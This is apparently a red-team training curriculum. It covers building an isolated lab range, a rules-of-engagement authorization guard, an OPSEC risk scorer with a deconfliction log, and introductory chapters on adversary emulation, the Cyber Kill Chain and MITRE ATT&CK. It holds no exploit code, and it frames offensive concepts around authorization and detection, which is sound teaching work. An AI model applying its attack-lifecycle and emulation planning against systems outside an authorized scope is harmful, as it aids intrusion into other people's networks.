• The track templates — rules-of-engagement.md, evidence-manifest.md, lab-acceptance-checklist.md — reuse this vocabulary verbatim.

Hitchhiker's Guide — Phase 00: Standing Up an Authorized, Deny-by-Default Range

Read this if you understand why authorization, ROE, OPSEC, and deconfliction matter (that's the WARMUP) and now need to operate them: build an isolated range you can practice in without ever touching something you don't own, run the ROE/OPSEC/deconfliction workflow on every action, handle evidence, and tear it all down. Derivations and the from-zero treatment are in the WARMUP; this is the operator's checklist.

0. The 30-second mental model

You never act without four answers: owner, scope, stop, deconflict. The range is the place where all four are trivially true — you own it, the scope is the range, you can pull the plug, and there is no third party to deconflict with because nothing reaches the outside. The whole skill of Phase 00 is making that boundary mechanical: a deny-by-default guard (Lab 01) and an OPSEC/deconfliction planner (Lab 02) you run before every action, and a range whose egress is deny-by-default so a mistake fails closed instead of reaching the internet.

Deny-by-default everywhere. Network egress, authorization, scope — all default-deny. A forgotten rule should mean "nothing happened," never "it reached production."

1. The range — owned, isolated, deny-by-default

The track README §7 has the full diagram. For Phase 00 you need the operating rules, not yet the AD forest or the cloud accounts (those come online in Phases 05 and 09). The minimum viable range:

            Management network (isolated)
        Git · notes · evidence store · screenshots
                       |
        [host firewall / pfSense — DENY-BY-DEFAULT egress]
              /                 \
       operator VM          target VM(s)
       (your tooling)       (owned fixtures)
              \                 /
               isolated vSwitch (host-only)
   No bridge to home / corporate / public networks. Ever.

Hard rules (non-negotiable):

• Host-only / internal networking. The victim and operator VMs share an isolated virtual switch with no NAT and no bridge to your home or corporate LAN. Verify with a connectivity test that a ping to 8.8.8.8 from inside the range fails (see §5).
• Deny-by-default egress. If the range needs any outbound (it usually doesn't for Phase 00), it goes through one firewall with an explicit, minimal allowlist and default-drop. The default is "nothing leaves."
• No real data, ever. No real credentials, customer data, or PII in any fixture, capture, screenshot, or commit. Flags are synthetic and clearly marked.
• Snapshot before risky work. Take a clean snapshot of every VM before you touch it; the plan is always destroy-and-rebuild.
• Name the owner. Every machine in the range is owned by you. If you can't name the owner, it's not in the range.

Before any exercise that involves vulnerable services, an AD forest, cloud accounts, C2 software, or malware-like samples, run templates/lab-acceptance-checklist.md top to bottom. Any unchecked box means stop.

2. The ROE / authorization workflow (Lab 01 in practice)

On a real engagement you fill in templates/rules-of-engagement.md with the client and both parties sign. For practice, you author your own ROE for the range. Either way, the operating loop per action is the same — and Lab 01 is that loop in code.

Author the ROE as a data object first. Before any action, the scope exists as a concrete object:

ROE(
  in_scope_cidrs   = ("10.20.0.0/16",)                       # the range's subnet
  in_scope_domains = ("corp.meridian-freight.test",)         # owned, .test TLD (never resolvable)
  in_scope_accounts= ("svc-emul-01",)                        # synthetic emulation identity
  out_of_scope_cidrs   = ("10.20.99.0/24",)                  # the protected carve-out
  out_of_scope_domains = ("payments.meridian-freight.test",)
  allowed_methods  = ("recon", "exploitation", "lateral-movement")
  window_start/end = the agreed interval (timezone PINNED)
  rate_limit       = e.g. 3 per 60s
  stop_engaged     = False                                    # the circuit breaker
)

Run the guard before every action. For each proposed action (target, method, timestamp):

decision = check_action(action, roe, history)
  ALLOW  -> proceed; append to history
  DENY   -> read EVERY reason; fix the action or get clarification; do NOT proceed

The guard is deny-by-default: out-of-scope overrides in-scope, the method must be on the allowlist, the timestamp must be inside the half-open window, the rate must be under the limit, and an engaged stop denies everything. It collects all failing reasons because your deconfliction notes need them.

Use a real range domain that cannot escape. Use the reserved .test TLD (RFC 6761) for range hostnames — it is guaranteed never to resolve on the public internet, so a misconfiguration cannot accidentally point at a real host. Never use a domain you don't own.

3. The OPSEC / deconfliction workflow (Lab 02 in practice)

Authorization says may I. OPSEC and deconfliction say how loud, and who do I warn. Run this on every action the guard allowed.

Score it before you run it.

assess(action) -> { score, band, indicators{host,network,identity}, requires_deconfliction }

• Read the band. low/medium → proceed and log. high/critical → it's loud; plan accordingly.
• Read the indicators. Know, before you act, exactly what telemetry each plane will show. If you can't name the indicators, you're not ready to run the action.
• Pre-deconflict above the threshold. If requires_deconfliction is true, notify the deconfliction contact before acting. On the range there's no SOC, so you simulate it: write the heads-up to your engagement log so the muscle memory is real.

Log every action — always. Whether loud or quiet:

log.record(action, operator="op-a", note="pre-approved 02:00" )

The log is append-only and time-sorted. The "was that you?" drill:

# an alert fires at time T
log.lookup(T - delta, T + delta)
  match  -> "that was us"; read back operator + expected indicators; stand down
  empty  -> "NOT us"; treat as a real incident

Practice the drill until it's reflexive: pick a random timestamp, run the lookup, and narrate the answer out loud. That two-minute lookup is what replaces a real SOC's hours-long fire drill.

4. Evidence handling

Every artifact goes in templates/evidence-manifest.md at collection time. The non-negotiables:

• Hash at collection. sha256sum artifact the instant you collect it; record the hash in the manifest. The hash is the integrity anchor.
• Never edit an original. Work on copies; record every transformation (crop, redact) in the manifest.
• Redact before it leaves the secure store. Any real credential, token, or PII is redacted, and the redaction is noted. On a clean range there is no real data — keep it that way.
• Record source, time (with timezone), and collector for every artifact.
• Minimum collection. Keep only what you need to explain and remediate. Set a destruction date.

At engagement end, fill the tooling-IOC handoff table: the on-disk names, named pipes/mutexes, network indicators (domains/IPs/JA3), and any persistence your tooling created — so the (simulated) SOC can verify cleanup.

5. Runtime verification — prove effective isolation, not intended config

Config files lie; verify the actual state.

ISOLATION   from inside the range: a connectivity test to a public IP must FAIL.
            (No internet egress means a mistake can't reach a third party.)
EGRESS      if any outbound is allowed, confirm the firewall default is DROP and the
            allowlist is exactly what you intend — test a denied destination is blocked.
SCOPE       run check_action against a known out-of-scope target -> must DENY.
            run it against the protected /24 inside the in-scope /16 -> must DENY.
WINDOW      run an action at exactly window_end -> must DENY (half-open).
RATE        replay limit+1 actions inside the window -> the last must DENY.
STOP        set stop_engaged and run any valid action -> must DENY.
LOG         record an action, then lookup its window -> must return it; lookup an empty
            window -> must be empty.

If any of these does not behave as expected, the boundary is not real yet. The Lab 01 and Lab 02 test suites are these checks — run LAB_MODULE=solution pytest -q in each lab to confirm the reference boundary holds, then implement lab.py until your own does.

6. Teardown and cost control

• Destroy and rebuild. After risky work, revert to the clean snapshot or destroy the VMs entirely. Persistence never outlives the exercise without an explicit, logged teardown step.
• No cloud yet. Phase 00 needs no cloud spend. When cloud comes online (Phase 09), the rule is: separate, budgeted accounts with quotas, billing alerts, and a verified teardown script before the first deployment.
• Wipe evidence per the destruction date. Sanitized artifacts go to the portfolio; raw evidence is destroyed on schedule and the destruction is recorded.
• Re-run the acceptance checklist before the next exercise; a torn-down range is rebuilt clean.

7. The evidence packet (what Phase 00 produces)

A complete, sanitized Phase 00 deliverable contains:

00-operating-rules/
├── roe.md                     # the filled ROE (range or Cedar Lattice), both-party signed
├── opsec-plan.md              # expected indicators per planned action; deconfliction contacts
├── deconfliction-procedure.md # the "was that you?" workflow + the contact + the stop channel
├── range-diagram.md           # the isolated, deny-by-default range
├── evidence-manifest.md       # hashed, sanitized artifacts + tooling-IOC handoff
└── tools/                     # the ROE guard + the OPSEC/deconfliction planner, with tests

This is the portfolio artifact: the proof that before any technique, you operate inside a boundary you can defend.

8. Common false claims (calibration)

• "It's isolated" — but a connectivity test was never run, and the VM actually had NAT. Prove isolation with a failed egress test, don't assume it from the config.
• "It's in scope" — based on a substring match that let a look-alike domain through. Scope is exact-or-subdomain and real CIDR math, with out-of-scope overriding in-scope.
• "The SOC knows it's us" — but the deconfliction log was written up after the fact, so a mid-engagement "was that you?" had no answer. The log is live.
• "That action is quiet" — with no indicator enumeration to back it. If you can't name the telemetry on each plane, you don't know how loud it is.
• "We can stop any time" — but there's no emergency-stop channel and no stop latch, so "stop" is a hope, not a control. The stop denies everything, immediately.
• "No real data was touched" — but a screenshot in the report shows a real hostname and a token. Redact before it leaves the store; collect the minimum.
• "It's authorized" — on a verbal OK from someone without authority to grant access. The signatory must have authority, and it must be in writing, on file, and reachable.

The thread through all of these: a boundary you assert is not a boundary. A boundary you verified — with a failed egress test, a DENY from the guard, a non-empty log lookup — is.

9. War stories (calibration)

These are the failure patterns that turn a clean engagement into an incident. Each one is a reason a control in this phase exists.

• "The scan followed a route off the agreed network." An operator chasing a pivot let a tool reach an IP that was inside a broad in-scope range but inside a carved-out, out-of-scope subnet — a third party's shared infrastructure. The fix was already in the ROE: out-of-scope overrides in-scope, and the guard denies the protected /24 even though it sits inside the in-scope /16. Run the guard; don't trust the tool's own target list.
• "The SOC mobilized at 2 a.m. over our beacon." No pre-deconfliction, no live log. The on-call team spent the night chasing the red team's own C2, and nearly contained a production host. After: every high-OPSEC action is scored, pre-deconflicted above the threshold, and logged live — so the next alert was a two-minute "that was us" lookup.
• "We said the range was isolated." It had NAT enabled and one of the tool VMs phoned home to a package mirror mid-exercise. Nothing leaked, by luck. After: a failed egress test (ping 8.8.8.8 must fail) is part of range bring-up, every time, before any action.
• "The screenshot in the report had a real token." A capture from a misconfigured fixture carried a credential into the deliverable. After: redact-before-it-leaves-the-store became a hard gate, and fixtures use only synthetic, clearly-marked flags.
• "We couldn't stop fast enough." A client asked to stand down during a real (unrelated) incident and the operator finished "one more action" first. After: the stop is a latch that denies everything the instant it's pulled — there is no "one more."

The calibration lesson across all five: the boundary is cheap to enforce before the action and ruinous to discover after it. Phase 00 is the cheap-before discipline, made mechanical.

Phase 00 — Lab 01 — Engagement ROE Authorization Guard

Concept: Authorization, scope, deny-by-default. WARMUP: Chapters 2–6.

The problem

A red team consultant takes an action only when its target, method, time, and rate are all inside the signed Rules of Engagement (ROE). On a real engagement that check happens in the operator's head before every action — and the day it is wrong by one CIDR, you have attacked a third party and the engagement is a crime, not a contract. This lab makes that check a machine-checkable, auditable, deterministic function so the boundary is never ambiguous and never depends on a tired operator at 2 a.m.

The governing principle is deny-by-default (fail closed): an action is allowed only if every gate passes, and anything not explicitly permitted is denied. Crucially, out-of-scope listings override in-scope ones — so a protected subnet carved out of a broad in-scope range is never silently authorized.

What you build (lab.py)

• in_scope(target, roe) — is the target explicitly in scope and not explicitly out of scope? IPs are matched against CIDRs with the ipaddress stdlib; domains by case-insensitive exact-or-subdomain; accounts by exact id. Out-of-scope overrides in-scope.
• method_allowed(method, roe) — is the method on the permitted allowlist? (deny-by-default)
• within_window(ts, roe) — is the timestamp inside the half-open window [start, end)?
• _ip_in_cidrs(target, cidrs) — the CIDR-membership helper (real ipaddress math, not strings).
• _domain_match(target, domains) — the exact-or-subdomain matcher that defeats the substring trick.
• check_action(action, roe, history) -> {decision, reasons} — the full gate. It collects every failing reason (it does not short-circuit), because a deconfliction report needs all of them.

Attack/abuse cases the tests cover

• In-scope allow — an in-scope IP / domain / subdomain / account, with a permitted method, inside the window and under the rate limit, is ALLOW with no reasons.
• Out-of-scope deny — a public IP, an out-of-scope account, an out-of-scope domain is DENY.
• Out-of-scope overrides in-scope — 10.20.99.10 sits inside the in-scope 10.20.0.0/16 but inside the out-of-scope 10.20.99.0/24, so it is denied.
• Substring trick not fooled — evil-meridian-freight.test and corp.meridian-freight.test.evil.example do not match in-scope corp.meridian-freight.test.
• Forbidden-method deny — dos is not on the allowlist.
• Before/after window deny — window_end is exclusive; exactly window_end is out.
• Rate-limit deny — a 4th action inside a 60-second window with rate_limit=3 is denied; old actions outside the rolling window do not count.
• Deny-by-default — an unknown target, and an empty ROE, deny everything.
• Stop condition — an engaged stop latch halts every action regardless of the other gates.
• Multiple reasons — a bad target and bad method and bad time yields at least three reasons.
• Determinism — same inputs → identical output.

Run

pip install -r requirements.txt
LAB_MODULE=solution pytest -q   # reference passes
pytest -q                        # your implementation after the TODOs

Hardening / detection (what this models for the blue team)

This guard is a control. Two lessons carry into the engagement and the report:

• Deny-by-default is the only safe default. The same pattern protects the client: egress allowlists, IAM Deny overriding Allow, and segmentation are deny-by-default guards. An engagement that bypasses one is exactly the path your report should recommend closing.
• The decision must be auditable. Every DENY enumerates its reasons; pair this log with the deconfliction log (Lab 02) and the SOC can reconstruct exactly what was authorized when.

Extensions (build in your own isolated range)

• Add permitted-hours-of-day and blackout windows (e.g., no testing during month-end close).
• Resolve a hostname through a controlled resolver and re-check the resolved IP against the out-of-scope CIDRs — the DNS-rebinding-style gap this lab documents as a limitation.
• Emit a signed, hash-chained decision log so the authorization trail is tamper-evident.
• Re-implement the guard as a policy engine (OPA/Rego or Cedar) and diff the decisions.

Interview / resume

"Built a deny-by-default ROE authorization guard that decides ALLOW/DENY for a proposed engagement action against signed scope (CIDRs/domains/accounts), a method allowlist, a time window, and a rate limit — with out-of-scope overriding in-scope, real CIDR math via ipaddress, a subdomain matcher that defeats the substring trick, and a full reason trail for deconfliction."

Limitations: targets are matched as exact IP literals or exact/subdomain domains or exact account ids — the guard does not resolve DNS, so a domain that resolves into an out-of-scope CIDR must be caught by the range's resolver/proxy (documented in the module docstring). The window is a single interval; rate limiting is count-per-rolling-window, not bytes/sec or concurrency.

Phase 00 — Lab 02 — OPSEC Risk Scorer + Deconfliction Log

Concept: OPSEC, indicators, deconfliction. WARMUP: Chapters 7–9.

The problem

Before an operator runs an action, two questions decide whether to proceed: "how loud is this, and what will it leave behind?" (OPSEC) and "does the client's SOC need to know this is me before I do it?" (deconfliction). Get the first wrong and you burn a technique or trip an alert you meant to study; get the second wrong and the SOC spins up a real incident-response over your activity — wasting their night and possibly triggering a containment that breaks the engagement.

This lab makes both decisions explicit and deterministic. It scores an action's OPSEC risk from a transparent weighted sum of its attributes, enumerates the indicators it will emit on the host, network, and identity planes, decides whether it must be pre-deconflicted, and keeps the deconfliction log that lets the SOC later answer "was that you?" for any time window without halting their response.

A red team action you cannot describe the telemetry of is exactly the action the SOC cannot deconflict — and the action that teaches the blue team nothing. Naming the indicators is the whole point: it is what turns offensive activity into a defensible, hireable, detection-paired asset.

What you build (lab.py)

• score_action(action) -> int — weighted sum over noise, novelty, blast_radius, time_of_day, irreversibility (weights in WEIGHTS).
• risk_band(action) -> str — map the score to low / medium / high / critical (BANDS).
• indicators(action) -> {host, network, identity} — the telemetry the method characteristically leaves, from INDICATOR_CATALOG.
• requires_deconfliction(action) -> bool — true at/above DECONFLICTION_THRESHOLD.
• assess(action) -> dict — bundle score, band, indicators, and the deconfliction decision.
• DeconflictionLog with record(action, operator, note), lookup(ts_start, ts_end), and was_this_us(ts_start, ts_end) — the SOC's "was that you?" query, kept sorted for determinism.

Attack/abuse cases the tests cover

• High-noise scores higher — louder/novel/wide-blast/off-hours/irreversible actions score up.
• Bands and boundaries — score < 4 is low; the band thresholds are exact and tested.
• Indicators enumerated by plane — lateral movement leaves host and network and identity indicators; recon is network-heavy with little on the host; an unknown method yields empty planes.
• Deconfliction required above threshold — a loud lateral move requires pre-deconfliction; quiet recon does not; the boundary (exactly at the threshold) is inclusive.
• Log lookup by window — given a SOC alert time, lookup returns exactly the actions in that window; outside the window is empty; the log carries indicators for SOC cleanup.
• Determinism — scoring, indicators, assessment, and lookups are reproducible; the log is kept sorted by (timestamp, name) so lookups are stable regardless of insertion order.

Run

pip install -r requirements.txt
LAB_MODULE=solution pytest -q   # reference passes
pytest -q                        # your implementation after the TODOs

Hardening / detection (the detection pairing)

The INDICATOR_CATALOG is the detection pairing: every method maps to the telemetry a defender would use to catch it. Carry it forward:

• For each indicator, name the Sysmon/ETW event id or Sigma rule that fires on it (several are annotated already, e.g. Kerberoasting → EID 4769, process creation → Sysmon EID 1). Phase 07 turns this into a full telemetry-gap map.
• The deconfliction log is the operator side of the contract; the evidence manifest (templates/evidence-manifest.md) and the tooling-IOC handoff are the client side. Together they let the SOC distinguish your beacon from a real one at 3 a.m.

Extensions (build in your own isolated range)

• Replace the flat weights with a calibrated model tuned to the client's detection maturity.
• Join indicators() to a real Sigma rule pack and report, per action, which rules should fire.
• Persist the log as a signed, hash-chained record (tamper-evident) in the evidence store.
• Add a noise budget: cap the cumulative OPSEC score per host/day and deny actions over budget.

Interview / resume

"Built an OPSEC risk scorer and deconfliction log: a weighted-sum risk band over an action's noise, novelty, blast radius, time-of-day, and reversibility; a per-method indicator catalog across the host/network/identity planes; a deconfliction threshold; and a time-windowed 'was that you?' log so the client SOC can confirm red team activity without launching a real incident response."

Limitations: the weights and threshold are a defensible default, not a calibrated model (exposed as constants so a reviewer sees exactly what drives a decision). Indicators are a representative catalog, not an exhaustive telemetry map. The log is in-memory and append-only; signing and persistence are extensions (see the HITCHHIKER guide).

« Red Team Engineer

Phase 01 — Red Team Methodology & Adversary Emulation

Operation Cedar Lattice, Phase 01. Phase 00 gave you the authorization boundary, the Rules of Engagement, and the OPSEC plan for the engagement against Meridian Freight International. Now the work begins: Mandiant has been contracted to emulate FIN-LATTICE, a fictional financially-motivated intrusion set, end to end. This phase is the bridge from intelligence to plan — you take the CTI on FIN-LATTICE and turn it into an ATT&CK-mapped adversary-emulation plan, and you learn to read any intrusion through the three lenses every red teamer, threat hunter, and detection engineer shares.

The deliverable a real engagement produces here is not "we got domain admin." It is a narrative of the kill chain, mapped to MITRE ATT&CK, with every detection opportunity, and a plan to test them — the artifact the rest of Operation Cedar Lattice executes and the purple team replays.

Safety. Authorized-lab only. Every lab in this phase is an analyzer / planner / graph-solver / detection-mapper over synthetic metadata. There are no payloads, no live targets, no weaponization. Every offensive concept ends in its detection / break-the-chain control. This is the same boundary as the security track's offensive-methodology-mastery/.

Why this phase exists

The other phases teach attacker techniques locally — a privilege escalation here, a Kerberoast there. What is missing without this phase is the connective tissue: how an actor chains techniques into a campaign, and the mental models that let a defender detect the chain early and break it. You cannot emulate, hunt, or defend an adversary you cannot model end to end.

Adversary emulation is also what distinguishes a Mandiant red team from a generic pentest. A pentest asks "what can be exploited here?" Adversary emulation asks "would this organization detect and stop this specific actor, and where exactly does it fail?" — and answers it by reproducing that actor's tradecraft under contract, driven by threat intelligence, scored against the client's detections. That is threat-informed defense.

Learning Objectives

By the end of this phase you can, without notes:

1. Walk the attacker lifecycle end to end (reconnaissance → resource development → initial access → execution → persistence → privilege escalation → defense evasion → credential access → discovery → lateral movement → collection → command-and-control → exfiltration → impact) and name, for each stage, the goal, common techniques, the telemetry it emits, and the break-the-chain control.
2. Use the three lenses correctly and know when each helps: the Cyber Kill Chain (linear campaign phases — "how far along?"), the Diamond Model (adversary / capability / infrastructure / victim, and pivoting — "what else is connected?"), and MITRE ATT&CK (the tactic → technique → procedure matrix — "what behavior, and can we detect it?").
3. Place a behavior in the Mandiant Attack Lifecycle and explain how it relates to the Lockheed kill chain and to ATT&CK.
4. Turn CTI on a named actor into an ordered, ATT&CK-mapped emulation plan with procedures, the telemetry each step emits, a detection idea, success criteria, and stop conditions.
5. Read ATT&CK at every level — tactics, techniques, sub-techniques, procedures — and use the Navigator to express coverage and gaps.
6. Explain the Pyramid of Pain and use it to choose which detections cost the adversary most.
7. Distinguish adversary emulation vs simulation vs penetration test vs vulnerability scan, and run a purple-team replay that converts a detection gap into a durable detection.

The three lenses (read the WARMUP for depth)

CYBER KILL CHAIN   linear campaign phases        "how far along is this intrusion?"   → break early
DIAMOND MODEL      adversary / capability /        "what else is connected to this?"   → pivot & attribute
                   infrastructure / victim
MITRE ATT&CK       tactic → technique → procedure  "what behavior, can we detect it?"  → coverage / gaps

They are complementary, not competing. The kill chain orders an intrusion in time; ATT&CK names the behavior at each point and ties it to detection; the Diamond Model links separate events into one campaign and drives attribution. A red teamer uses all three on every engagement.

Concepts

Labs

Each lab follows LAB-STANDARD.md: lab.py (TODOs), a complete solution.py, adversarial test_lab.py, README.md, requirements.txt — pure Python (stdlib + pytest), offline, deterministic, with the detection pairing built in.

cd lab-01-emulation-plan-builder
LAB_MODULE=solution pytest -q   # reference passes (14 tests)
pytest -q                        # your implementation after the TODOs

cd ../lab-02-killchain-campaign-reconstructor
LAB_MODULE=solution pytest -q   # reference passes (16 tests)

Deliverables

• A CTI-to-emulation-plan builder that orders an actor's observed ATT&CK techniques along the lifecycle, attaches a procedure + the telemetry each emits + a detection idea + success criteria, and reports per-tactic coverage and the gaps an emulation of that single actor would leave untested.
• A campaign reconstructor that orders scattered events along the lifecycle, reports how far an intrusion got and the earliest break point with its control, and a Diamond-Model pivot that links events sharing infrastructure or capability into one campaign.
• A FIN-LATTICE emulation plan (the Operation Cedar Lattice Phase 01 artifact) and an ATT&CK Navigator layer of its coverage.
• The fluency to explain the lifecycle and the three frameworks in an interview and scope a safe emulation engagement (scope, technique selection, stop conditions, the purple-team loop).

Readings (primary sources)

• MITRE ATT&CK matrix + the ATT&CK Navigator; the Center for Threat-Informed Defense (CTID) Adversary Emulation Plans library and Atomic Red Team.
• Hutchins, Cloppert, Amin — Intelligence-Driven Computer Network Defense (the Lockheed Martin Cyber Kill Chain paper).
• Caltagirone, Pendergast, Betz — The Diamond Model of Intrusion Analysis.
• Mandiant M-Trends reports and the Mandiant Attack Lifecycle.
• David Bianco — The Pyramid of Pain.
• Red Team Development and Operations — Vest & Tubberville. MITRE D3FEND for the defensive mapping.

Common Mistakes

• Treating a CTI technique list as a plan. A list is not ordered, not procedural, and not paired with detection. The plan is the work (Lab 01).
• Confusing the three lenses or treating them as rivals. They answer different questions and are used together.
• Mapping a behavior to a tactic but never to its telemetry or detection. ATT&CK without the data source / detection is half the value — and fails this track's detection-pairing bar.
• Calling a pentest an emulation. Emulation reproduces a named actor's tradecraft, driven by intel, scored against detections. A pentest hunts whatever is exploitable.
• Chasing the bottom of the Pyramid of Pain. Blocking a hash or IP costs the adversary minutes; detecting a TTP costs them a redesign. Aim at the tip.
• Defending right. Building the impact-stage detection while ignoring the cheap initial-access break point ("defend left").
• Skipping the purple-team loop. An emulation that does not turn a gap into a durable detection delivered no lasting value.

Interview Questions

1. Explain the Cyber Kill Chain, MITRE ATT&CK, and the Diamond Model — what question does each answer, and how do you use them together on one engagement?
2. Walk me from CTI on a named actor to a runnable emulation plan. What is in each step?
3. What is the difference between adversary emulation, adversary simulation, a penetration test, and a vulnerability scan?
4. What is the Pyramid of Pain and how does it change which detections you prioritize?
5. A SOC hands you 200 scattered alerts from one night. How do you reconstruct the campaign, decide how far the actor got, and choose where to break the chain?
6. What is threat-informed defense, and how does a purple-team replay produce a durable detection?
7. How does the Mandiant Attack Lifecycle differ from the Lockheed kill chain, and why does the "loop" matter?

(Full principal-level answers are in WARMUP.md.)

Portfolio artifact

The FIN-LATTICE adversary-emulation plan for Operation Cedar Lattice: the ordered, ATT&CK-mapped plan (Lab 01 output) with procedures, telemetry, detection ideas, success criteria, and stop conditions; an ATT&CK Navigator layer of its coverage and gaps; and a one-page campaign- reconstruction narrative (Lab 02 output) showing the kill chain, the earliest break point, and a Diamond pivot — all over synthetic metadata, no real targets, no weaponization. This is 01-emulation- plans/ in the capstone portfolio.

Guides

• WARMUP.md — the from-zero, stage-by-stage deep dive on the lifecycle, the three frameworks, ATT&CK at every level, the Pyramid of Pain, the CTI→plan workflow, and purple teaming.
• HITCHHIKERS-GUIDE.md — how to build and run an adversary-emulation plan on the owned range: pick the actor, select techniques, define procedures + success criteria + stop conditions, run Atomic-Red-Team-style tests, observe telemetry, score coverage, replay as purple team.

Warmup Guide — From Threat Intelligence to an Adversary-Emulation Plan

Zero-to-principal primer for Phase 01. It builds every concept the phase depends on from first principles: the attacker lifecycle stage by stage (goal, techniques, telemetry, break-the-chain), the three analytic lenses (Cyber Kill Chain, MITRE ATT&CK, Diamond Model), ATT&CK at every level (tactics → techniques → sub-techniques → procedures) and the Navigator, the Mandiant Attack Lifecycle, the Pyramid of Pain, the difference between emulation / simulation / pentest, the CTI→emulation-plan workflow, and purple teaming. It assumes only that you can write software and have read Phase 00's authorization boundary. By the end you can read any intrusion through all three lenses and turn intelligence on a named actor into a runnable, detection-paired emulation plan.

Safety frame (not optional). This is the attacker's playbook taught for authorized emulation and defense. Everything here reasons over synthetic metadata; every offensive concept ends in its detection / break-the-chain control. The difference between a red teamer and a criminal is authorization and intent, not knowledge (Phase 00).

Table of Contents

• Chapter 1: What Adversary Emulation Is, and Why a Named Actor Changes Everything
• Chapter 2: The Attacker Lifecycle, Stage by Stage
• Chapter 3: The Cyber Kill Chain — Break the Chain Early
• Chapter 4: MITRE ATT&CK — Tactics, Techniques, Sub-techniques, Procedures
• Chapter 5: The ATT&CK Navigator, Coverage, and Gaps
• Chapter 6: The Diamond Model and Pivoting
• Chapter 7: The Mandiant Attack Lifecycle
• Chapter 8: The Pyramid of Pain
• Chapter 9: From CTI to an Emulation Plan — the Workflow
• Chapter 10: Emulation vs Simulation vs Pentest vs Red Team vs Vuln Scan
• Chapter 11: Threat-Informed Defense and Purple Teaming
• Lab Walkthrough Guidance
• Success Criteria
• Common Mistakes and OPSEC Failures
• Interview Q&A
• References

Chapter 1: What Adversary Emulation Is, and Why a Named Actor Changes Everything

Zero background. Imagine a client — Meridian Freight International — that wants to know whether it would survive a real attack. There are several ways to answer that, and they are not the same:

• A vulnerability scan lists weaknesses a scanner can fingerprint. It answers "what is broken?"
• A penetration test has a human exploit some of those weaknesses to a goal. It answers "what can an attacker do here?"
• Adversary emulation reproduces the tradecraft of a specific, named threat actor the client actually faces — driven by threat intelligence, scored against the client's detections. It answers "would we detect and stop this adversary, and where exactly do we fail?"

What it is. Adversary emulation is a structured engagement in which the red team behaves like a chosen actor: the same tactics, the same techniques, in roughly the same order, against a consenting client, under a contract with rules of engagement. The output is not a trophy ("we got domain admin"); it is a detection-and-response assessment: a kill-chain narrative mapped to MITRE ATT&CK, with every detection opportunity the blue team had — taken or missed — and a prioritized plan to close the gaps.

Why a named actor changes everything. The moment you anchor to a named actor, three things become true:

1. The technique selection stops being arbitrary. You do what FIN-LATTICE does — phish, run a loader, dump credentials, move laterally, beacon out, ransom — not a grab-bag of whatever exploits. This is threat-informed (Chapter 11): you test the defenses against the threats you actually face.
2. Detection coverage becomes measurable. Because each technique maps to ATT&CK, you can score the client's coverage technique-by-technique and produce a gap map. That is the deliverable.
3. The engagement is repeatable and purple-able. A named actor + ATT&CK mapping + procedures means the blue team can replay the exact behaviors later (purple teaming, Chapter 11) and confirm the gap is closed.

Under the hood — what "emulate an actor" actually requires. You need (a) CTI on the actor: an intel report or a structured profile listing its observed ATT&CK techniques and known infrastructure/ tooling; (b) a way to order those techniques into a campaign (the lifecycle, Chapter 2); (c) a procedure for each (what you actually run on the owned range); (d) the telemetry each emits and a detection idea (the pairing); and (e) success criteria and stop conditions. Lab 01 is exactly the engine that turns (a) into (b)+(c)+(d)+(e).

Engagement significance. This is the Mandiant red team's core product and the reason the Operation Cedar Lattice engagement exists. Everything downstream — the privesc, the AD path, the C2 — is in service of emulating FIN-LATTICE faithfully enough to test Meridian's detections.

Misconception to kill now. "Emulation means I copy the actor's exact malware." No — you reproduce the actor's behaviors (TTPs), safely, on an owned range, often with different tooling. The point is the behavior the sensor sees, not possessing the actor's binary. Copying a hash tests nothing durable (Chapter 8).

Chapter 2: The Attacker Lifecycle, Stage by Stage

Zero background. A real intrusion is not one action; it is a sequence of stages, each with its own goal. Whether you call the stages "kill-chain phases" (Chapter 3), "ATT&CK tactics" (Chapter 4), or "Mandiant lifecycle steps" (Chapter 7), the shape is the same: get in, run code, stay in, get more power, move around, take what you came for, leave or destroy. Memorize the shape once and every framework is a re-labeling of it.

Here is the unified lifecycle this phase uses — the ATT&CK Enterprise tactic order, which the labs encode as TACTIC_ORDER. For each stage: the goal, representative techniques, the telemetry it emits, and the break-the-chain control.

Why the order matters. Two reasons. First, a plan must read as a campaign — you cannot "emulate impact" before "initial access." Second, "defend left." A control at a low-order stage prevents everything downstream. Stopping the phish (stage 2) prevents the credential theft, the lateral movement, and the ransom (stages 7, 9, 13). A control at the impact stage only limits the damage of an attack you already lost. The cheapest disruption is always the earliest placeable stage in the observed chain — which is exactly what earliest_break computes in Lab 02.

Under the hood — stages are goals, not steps. A real actor does not march stage 0→13 once. It loops: discovery → credential access → lateral movement → discovery again on the new host. Some stages repeat; some are skipped (a stolen valid account skips "exploit"). The lifecycle is the set of goals, ordered by typical earliest occurrence, not a strict script. The Mandiant lifecycle (Chapter 7) makes that loop explicit.

Misconception to kill now. "ATT&CK tactics are sequential steps you do once." They are goal categories. An intrusion visits some, repeats some, and skips some. The ordering in the labs is a modelling convenience (so a campaign has a canonical narrative), not a claim that real actors are linear.

Chapter 3: The Cyber Kill Chain — Break the Chain Early

Zero background. In 2011, Lockheed Martin published Intelligence-Driven Computer Network Defense, introducing the Cyber Kill Chain: a model of an intrusion as seven linear phases, borrowed from a military targeting concept (the "kill chain" of find → fix → track → target → engage → assess).

The seven phases:

1. Reconnaissance   research the target
2. Weaponization    pair an exploit with a deliverable (e.g., a malicious doc)
3. Delivery         transmit the weapon (email, web, USB)
4. Exploitation     trigger the vulnerability / user action
5. Installation     install the implant / establish footing
6. Command & Control  open the remote-control channel
7. Actions on Objectives   do the thing (exfil, destroy)

Why it exists. Before the kill chain, defense was indicator-centric ("block this bad IP"). The kill chain reframed defense as disrupting a process: the attacker must complete every phase to succeed, so the defender only has to break one. And — the model's central insight — breaking an early phase is cheaper and prevents more. Stop delivery and there is no exploitation, no installation, no C2, no impact. This is the original statement of "defend left."

Under the hood — the "courses of action" matrix. The Lockheed paper pairs each phase with six defensive actions: detect, deny, disrupt, degrade, deceive, destroy. The intellectual move is that for every phase you can ask "how do I detect it? how do I deny it?" — turning a linear attack into a grid of defensive opportunities. A red team report's gap matrix is a direct descendant of this idea.

Telemetry / detection. Each phase emits something: reconnaissance shows up as scanning in flow logs; delivery as a message at the mail gateway; C2 as beaconing in proxy logs. The kill chain's job is to remind you that every phase is a detection opportunity — you are never limited to catching the final action.

Engagement significance. The kill chain is the coarse, durable, executive-friendly lens. When you brief a CISO, "the attacker reached Actions on Objectives; we had detection opportunities at Delivery and C2 that fired late" is instantly legible. Its weakness is granularity: "exploitation" is one box, where ATT&CK has hundreds of techniques. So you use the kill chain for the narrative arc and ATT&CK for the behavioral detail.

